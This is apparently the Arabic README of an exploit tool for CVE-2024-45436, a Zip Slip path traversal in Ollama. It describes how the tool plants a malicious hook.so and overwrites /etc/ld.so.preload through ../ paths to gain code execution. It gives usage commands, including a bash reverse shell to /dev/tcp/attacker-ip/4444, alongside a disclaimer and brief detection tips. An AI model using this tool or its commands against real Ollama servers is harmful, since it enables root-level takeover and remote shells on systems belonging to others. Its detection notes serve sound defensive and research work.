
سكربت استغلال لـ CVE-2024-45436
تنفيذ نظيف وفعّال لاستغلال ثغرة اجتياز مسار ZIP في Ollama (CVE-2024-45436). الوثائق الصينية: README_CN.md
CVE-2024-45436 هي ثغرة اجتياز مسار (تُعرف أيضًا باسم "Zip Slip") في إصدارات Ollama السابقة للإصدار 0.1.47. تسمح الثغرة للمهاجمين بكتابة ملفات إلى مواقع عشوائية على نظام الملفات من خلال استغلال التحقق غير السليم من المسارات أثناء عمليات استخراج ملفات ZIP.
يكمن الخلل في دالة extractFromZipFile في ملف model.go الخاص بـ Ollama، وهي الدالة المسؤولة عن استخراج ملفات النماذج. عندما يحتوي ملف ZIP على مدخلات بمسارات تتضمن تسلسلات اجتياز الدليل (../)، يقوم Ollama باستخراج هذه الملفات خارج الدليل المقصود، مما قد يسمح للمهاجم بالكتابة فوق ملفات نظام حرجة.
يتم استغلال الثغرة من خلال النهج التالي:
hook.so) يحتوي على كود تنفيذ أوامر عشوائية../../../../../../../../../../etc/ld.so.preload - يُستخدم للتحميل المسبق للكائنات المشتركة المخصصة../../../../../../../../../../tmp/hook.so - الكائن المشترك الخبيث نفسهعند التنفيذ بنجاح، تعمل الحمولة بنفس صلاحيات خدمة Ollama، مما قد يمنح تنفيذ كود عن بُعد بصلاحيات الجذر (root).
python exp.py <target_url> <command>
target_url: عنوان URL لنسخة Ollama القابلة للاستغلال (مثل http://example.com:11434)command: الأمر الذي سيتم تنفيذه على النظام الهدف--no-cleanup: لا تقم بإزالة الملفات المؤقتة بعد الاستغلال (مفيد لتصحيح الأخطاء)الاستخدام الأساسي:
python exp.py http://target-server:11434 "id > /tmp/pwned"
قشرة عكسية:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.
يمكن للمؤسسات اكتشاف ما إذا كانت معرضة للخطر من خلال:
/api/version/etc/ld.so.preload أو /tmp/hook.soتستغل الثغرة التحقق غير السليم من المسارات في عملية استخراج ملفات ZIP الخاصة بـ Ollama. عند تحميل نموذج عبر واجهة البرمجة، يستخرج التطبيق الملفات من أرشيف ZIP دون تعقيم مسارات الملفات بشكل صحيح، مما يسمح بهجمات اجتياز الدليل.
يُستخدم ملف ld.so.preload في Linux لتحديد المكتبات المشتركة التي يجب تحميلها قبل جميع المكتبات الأخرى. من خلال الكتابة إلى هذا الملف، يمكن للمهاجم ضمان تحميل مكتبته الخبيثة بواسطة أي عملية جديدة، مما يؤدي إلى اختطاف تنفيذ البرنامج بشكل فعّال.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.